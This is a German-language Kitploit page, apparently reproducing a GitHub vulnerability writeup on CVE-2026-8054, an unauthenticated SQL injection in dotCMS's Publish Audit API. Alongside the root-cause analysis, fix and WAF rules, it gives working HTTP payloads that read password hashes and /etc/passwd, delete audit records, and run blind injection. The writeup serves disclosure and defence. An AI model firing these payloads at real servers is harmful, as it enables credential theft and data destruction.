Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/mr-xn/cve-2026-8054
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS Pre-Auth-SQL-Injection

Repository anzeigenWebseite
2vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

1. Schwachstellenübersicht

CVE-2026-8054 ist eine kritische SQL-Injection-Schwachstelle ohne Authentifizierung (Pre-auth SQL Injection) in der Publish Audit API von dotCMS Core. Die Schwachstelle wird offiziell als Sicherheitsvorfall SI-75 verfolgt und wurde Ende Mai 2026 offiziell erfasst und veröffentlicht. Da Angreifer sie ohne jegliche Kontoberechtigung remote auslösen können, ist der potenzielle Schaden äußerst schwerwiegend.

EigenschaftWert
CVE-IDCVE-2026-8054
Offizielle VerfolgungSI-75
SchwachstellentypSQL-Injection (CWE-89)
Betroffene KomponentedotCMS Core - Publish Audit API
CVSS-Score10.0 (Critical)
Betroffene Versionen25.11.04-1 bis 26.04.28-02
Behobene Version26.04.28-03
AngriffsartRemote-SQL-Injection ohne Authentifizierung (Pre-auth)
Erforderliche BerechtigungenKeine Authentifizierung
BenutzerinteraktionKeine
LTS-Versionen betroffenNicht betroffen (der Audit-Code-Zweig wurde nicht in den LTS-Zweig zurückportiert)

2. Detaillierte Analyse der Schwachstelle

2.1 Kern der Schwachstelle

Die Schwachstelle befindet sich in den beiden REST-Endpunkten /api/auditPublishing/get und /api/auditPublishing/getAll. Beim Empfang der vom Client übergebenen Anfrageparameter führen diese Endpunkte keinerlei Filterung oder parametrisierte Bindung durch, sondern bauen die SQL-Abfrageanweisungen direkt per String-Verkettung dynamisch auf.

Noch kritischer: dotCMS hat bei diesen sensiblen Backend-Endpunkten für die Audit-Funktion vollständig auf Authentifizierung und Berechtigungsprüfung (Broken Access Control) verzichtet. Das bedeutet, dass jeder Remote-Angreifer ohne Anmeldeinformationen, der das System über das Netzwerk erreichen kann, direkt HTTP-Anfragen mit bösartigen Payloads an die Endpunkte senden kann.

2.2 Einstiegspunkte der Schwachstelle

Dateipfad: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

Die Schwachstelle betrifft zwei REST-API-Endpunkte:

  • GET /api/auditPublishing/get/{bundleId} - Holt den Audit-Status einer einzelnen Veröffentlichung
  • POST /api/auditPublishing/getAll - Holt die Audit-Status mehrerer Veröffentlichungen im Batch

Kernproblem: Vor dem Fix benötigten diese beiden Endpunkte keinerlei Authentifizierung; jeder anonyme Benutzer konnte direkt darauf zugreifen.

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【漏洞点】没有认证检查!直接调用后端API
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Kerncode der Schwachstelle

Dateipfad: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Methode: getPublishAuditStatuses(List<String> bundleIds) (Zeilen 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【漏洞点1】直接将用户输入拼接到SQL语句中
        // 仅添加单引号包裹,没有任何参数化或转义处理
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危险: 字符串拼接
            .collect(Collectors.toList());

        // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL-Konstante (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Taint-Propagationspfad

root@kitploit:~
graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Taint-Ausbreitung: Benutzereingabe → REST-API → Backend-Verarbeitung → SQL-Aufbau → Datenbankausführung Kritische Schwachstellen: Keine Authentifizierung + keine Parametrisierung = vollständig kontrollierbare SQL-Injection

2.5 Analyse des SQL-Injection-Prinzips

Angenommen, der Benutzer gibt bundleIds = ["x' OR '1'='1"] ein

Normales SQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL nach der Injektion:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Da '1'='1' immer wahr ist, gibt diese Abfrage alle Datensätze in der Tabelle zurück.

root@kitploit:~
graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. Analyse von Auswirkungen und Schäden

Ein Angreifer, der die Schwachstelle erfolgreich ausnutzt, kann beliebige SQL-Befehle im Kontext des Datenbank-Systembenutzers ausführen, was zu folgenden schwerwiegenden Konsequenzen führt:

root@kitploit:~
graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Offenlegung sensibler Daten

Angreifer können über die SQL-Injection Kerndatenbanktabellen auslesen und so Folgendes erlangen:

  • Admin-Passwort-Hashes
  • Benutzeranmeldeinformationen
  • Zurücksetzungs-Tokens
  • Systemkonfigurationsdaten
  • Website-Inhaltsdaten

Beispiel-Payload - Admin-Passwort abrufen:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Datenmanipulation und -zerstörung

Angreifer können beliebige Daten in der Datenbank ändern, einfügen oder löschen:

  • Website-Inhalte
  • Benutzerrollen und -berechtigungen
  • Systemkonfiguration
  • Audit-Protokolle

Beispiel-Payload - Audit-Einträge löschen:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 Rechteausweitung und Remote Code Execution

Abhängig vom Datenbanktyp des Backends (PostgreSQL, MySQL usw.) und den konfigurierten Berechtigungen kann ein Angreifer über den Injektionspunkt weiterhin Folgendes erreichen:

  • Übernahme des Backend-Administratorkontos
  • Lesen/Schreiben des Dateisystems (über Datenbankfunktionen)
  • Remote Code Execution (RCE)

Beispiel-Payload - PostgreSQL-Datei auslesen:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 Analyse der Angriffsfläche


4. Schritte zur Reproduktion der Schwachstelle

4.1 Aufbau der Umgebung

root@kitploit:~
graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

Aufbau der Schwachstellen-Umgebung mit Docker Compose:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

Startbefehl:

root@kitploit:~
docker compose up -d
# 等待dotCMS初始化完成(约2-3分钟)
# 检查状态: docker compose logs -f dotcms

4.2 Verifizierung der Schwachstelle

Test 1: Bestätigen, dass der Endpunkt keine Authentifizierung erfordert

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

Antwort: 200 OK, es wird ein leeres Array [] zurückgegeben, was belegt, dass der Endpunkt ohne Authentifizierung aufrufbar ist.

Test 2: SQL-Injection - Boolean-based Blind Injection ✅ Verifiziert

Prinzip der Boolean-based Blind Injection: Durch die Beobachtung der Unterschiede im HTTP-Statuscode wird bestimmt, ob die Injektionsbedingung wahr oder falsch ist.

root@kitploit:~
graph TD
    subgraph 布尔盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|假条件| D["假条件 and 1=2"]

        C -->|返回数据| E["404 Not Found 有数据 NPE"]
        D -->|不返回数据| F["200 OK + 空数组 无数据正常"]

        E -->|分析| G["分析响应"]
        F -->|分析| G

        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
    note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]

Test mit wahrer Bedingung (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

Antwort: 404 Not Found

Test mit falscher Bedingung (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

Antwort: 200 OK, gibt [] zurück

SQL-Ausführungsanalyse:

root@kitploit:~
-- 真条件: bundle_id匹配 且 1=1为真 -> 返回数据 -> 代码处理NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- 假条件: bundle_id匹配 但 1=2为假 -> 不返回数据 -> 空结果正常处理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

Prinzip der Antwortunterschiede:

Fazit: Über den Unterschied in den 404/200-Antworten kann ein Angreifer beliebige Informationen in der Datenbank Bit für Bit ableiten (Tabellennamen, Feldwerte, Passwort-Hashes usw.).

Test 3: SQL-Injection - Time-based Blind Injection ✅ Verifiziert

Prinzip der Time-based Blind Injection: Durch die Beobachtung der Unterschiede in der Antwortzeit wird bestimmt, ob die Injektionsbedingung wahr oder falsch ist.

root@kitploit:~
graph TD
    subgraph 时间盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
        B -->|传递| C["延时Payload SELECT pg_sleep N"]

        C -->|执行SQL| D["PostgreSQL"]
        D -->|调用| E["pg_sleep N 延时执行"]

        E -->|延时N秒| F["测量响应时间"]
        F -->|对比基线| G["分析延时差异"]
        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]

Test mit 3 Sekunden Verzögerung:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

Antwort: 200 OK, Dauer 3,02 Sekunden

Test mit 5 Sekunden Verzögerung:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

Antwort: 200 OK, Dauer 5,01 Sekunden

SQL-Ausführungsanalyse:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

Vergleich der Antwortzeiten:

Fazit: Durch die Steuerung der Antwortverzögerung kann ein Angreifer Datenbankinformationen Bit für Bit ableiten, selbst wenn keine direkte Ausgabe (No-Output-Szenario) erfolgt.


5. Analyse der Behebungsmaßnahmen

5.1 Inhalt des Fixes PR #35553

root@kitploit:~
graph TD
    subgraph 修复方案
        subgraph 代码修复
            A[参数化查询<br/>使用占位符]
            B[认证增强<br/>Push Publish Token]
            C[输入验证<br/>null/空检查]
        end

        subgraph 修复效果
            D[防止SQL注入]
            E[限制未授权访问]
            F[防止空指针异常]
        end

        G[PR #35553]
        H[修复版本<br/>26.04.28-03]
    end

    G -->|实现| A
    G -->|实现| B
    G -->|实现| C

    A -->|参数绑定| D
    B -->|强制认证| E
    C -->|空值处理| F

    H -->|包含| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]

Fix 1: Parametrisierte Abfragen

Vor dem Fix (anfälliger Code):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

Nach dem Fix (sicherer Code):

root@kitploit:~
// 新增: 空值检查
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// 使用参数化查询占位符
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // 参数绑定,防止SQL注入

Fix 2: Verbesserte Authentifizierung

Vor dem Fix:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // 无认证检查
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

Nach dem Fix:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // 新增: Push Publish Token认证检查
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 返回401 Unauthorized
    }
    // ...
}

5.2 Prinzip des Fixes

BehebungsmaßnahmeBeschreibung
Parametrisierte AbfragenVerwendung von ?-Platzhaltern anstelle von String-Verkettung. Die Datenbank übernimmt das Escaping der Parameter automatisch und verhindert SQL-Injection von Grund auf.
Verbesserte AuthentifizierungAnfragen müssen ein gültiges Push-Publish-Token enthalten. Der Zugriff ist auf angemeldete Backend-Benutzer mit der Berechtigung für die publishing-queue-Komponente beschränkt.

5.3 Hinweise zu betroffenen Versionen

  • Betroffene Versionen: Alle Agile-Entwicklungs-/Schnellveröffentlichungsversionen von dotCMS Core zwischen 25.11.04-1 und 26.04.28-02
  • Nicht betroffene Versionen: LTS (Long-Term Support) ist nicht betroffen, da der betroffene Audit-Code-Zweig nie in den LTS-Zweig zurückportiert (backported) wurde

6. Vorübergehende Schadensbegrenzung und Schutzempfehlungen

Falls ein sofortiges Upgrade auf die behobene Version nicht möglich ist, können die folgenden vorübergehenden Maßnahmen ergriffen werden:

root@kitploit:~
graph TD
    subgraph 防护措施
        subgraph 网络层
            A[WAF规则拦截<br/>阻止/api/auditPublishing/]
            B[防火墙限制<br/>仅允许内网访问]
        end

        subgraph 应用层
            C[Nginx防护规则<br/>location拦截]
            D[ModSecurity规则<br/>SQL注入检测]
        end

        subgraph 数据层
            E[数据库权限限制<br/>最小权限原则]
            F[限制高危函数<br/>pg_read_file等]
        end

        G[升级到26.04.28-03<br/>根本解决方案]
    end

    A -.->|临时替代| G
    B -.->|临时替代| G
    C -.->|临时替代| G
    E -.->|降低影响| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]

6.1 WAF-Regeln zur Blockierung

Konfigurieren Sie Zugriffskontrollrichtlinien auf der Web Application Firewall (WAF) oder dem Reverse-Proxy, um Anfragen aus externen Netzwerken an die Pfade /api/auditPublishing/get und /api/auditPublishing/getAll direkt zu blockieren oder abzulehnen.

Beispielkonfiguration einer Nginx-Schutzregel

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# 拦截 Publish Audit API 请求
location ~ ^/api/auditPublishing/(get|getAll) {
    # 返回403禁止访问
    return 403 "Forbidden: Endpoint blocked for security reasons";
    add_header Content-Type text/plain;
}

# 或者使用更宽松的方式,仅允许内网访问
location ~ ^/api/auditPublishing/(get|getAll) {
    # 允许内网IP段
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # 拒绝其他所有来源
    deny all;
}

# 针对SQL注入特征的WAF规则
location / {
    # 检测常见的SQL注入特征
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # 检测单引号注入
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

Beispiel für ModSecurity-WAF-Regeln

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# 规则1: 拦截对漏洞端点的访问
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"

# 规则2: 检测SQL注入特征
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"

6.2 Einschränkung der Datenbankberechtigungen

Stellen Sie sicher, dass das Konto, mit dem dotCMS eine Verbindung zur Datenbank herstellt, dem Prinzip der geringsten Privilegien folgt:

root@kitploit:~
-- PostgreSQL 权限限制示例
-- 创建受限用户
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- 仅授予必要的表权限
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- 禁止创建/删除表
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- 禁止执行系统命令
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- 禁止读取文件
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 Schutz auf Netzwerkebene

root@kitploit:~
# 使用iptables限制对API端口的访问
# 仅允许内网访问8080端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. Zusammenfassung

root@kitploit:~
graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]

7.1 Grundursachen der Schwachstelle

  1. Fehlende Eingabevalidierung: Benutzereingaben werden direkt in SQL-Anweisungen eingefügt, ohne jegliche Filterung oder Escaping
  2. Fehlende Authentifizierung: Die API-Endpunkte sind ohne Authentifizierung zugänglich und legen sensible Backend-Funktionen offen
  3. Fehlende Parametrisierung: Es wird String-Verkettung anstelle von parametrisierten Abfragen verwendet, was gegen die Best Practices für sichere Programmierung verstößt

7.2 Bewertung der Angriffsfläche

  • Angriffsvektor: Netzwerk (Network)
  • Angriffskomplexität: Niedrig (Low)
  • Voraussetzungen: Keine (None)
  • Benutzerinteraktion: Keine (None)
  • CVSS-Score: 10.0 (Critical)

7.3 Prioritäten der Behebungsempfehlungen

7.4 Hinweise zu LTS-Versionen

Offiziell ist LTS (Long-Term Support) nicht betroffen, da der betroffene Audit-Code-Zweig nie in den LTS-Zweig zurückportiert (backported) wurde. Benutzer von LTS-Versionen müssen kein dringendes Upgrade durchführen.


8. Referenzen

  1. NVD - CVE-2026-8054
  2. SentinelOne - CVE-2026-8054 Vulnerability Database
  3. dotCMS Security Advisory - SI-75
  4. dotCMS REST API Authentication
  5. GitHub PR #35553 - Fix
  6. Alan Turing Institute - TIER_2 CVE-2026-8054 Report

Berichtserstellungszeit: 2026-06-08 Analysetools: Docker, curl, PostgreSQL Verwundbare Version: dotCMS 25.11.04-1 Behobene Version: dotCMS 26.04.28-03 (PR #35553)

Tool herunterladen
DimensionBewertung
AngriffsvektorNetzwerk (Network)
AngriffskomplexitätNiedrig (Low)
VoraussetzungenKeine (None)
BenutzerinteraktionKeine (None)
AuswirkungsbereichGeändert (Changed)
Auswirkung auf VertraulichkeitHoch (High)
Auswirkung auf IntegritätHoch (High)
Auswirkung auf VerfügbarkeitHoch (High)
BedingungSQL-ErgebnisCode-VerhaltenHTTP-Antwort
and 1=1 (wahr)Gibt passende Datensätze zurückNullPointerException bei der Datenverarbeitung in turnIntoPublishAuditStatus()404
and 1=2 (falsch)Gibt keine Datensätze zurückLeere Liste wird normal zurückgegeben200 + []
PayloadErwartete VerzögerungTatsächliche DauerErgebnis
Normale Anfrage0 Sekunden0,03 Sekunden✅
pg_sleep(3)3 Sekunden3,02 Sekunden✅ Verzögerung erfolgreich
pg_sleep(5)5 Sekunden5,01 Sekunden✅ Verzögerung erfolgreich
EingabevalidierungHinzufügen von null- und Leerlisten-Prüfungen zur Verhinderung von NullPointerException.
PrioritätMaßnahmeBeschreibung
P0 - SofortUpgrade auf dotCMS 26.04.28-03 oder höherOffiziell behobene Version, löst das Problem grundlegend
P1 - DringendWAF-Regeln zur Blockierung konfigurierenVorübergehende Maßnahme, blockiert Angriffsverkehr
P2 - WichtigDatenbankberechtigungen einschränkenReduziert den Schadensumfang nach einer Ausnutzung der Schwachstelle
P3 - EmpfohlenSicherheitsaudit weiterer EndpunktePrüfen, ob ähnliche Probleme vorliegen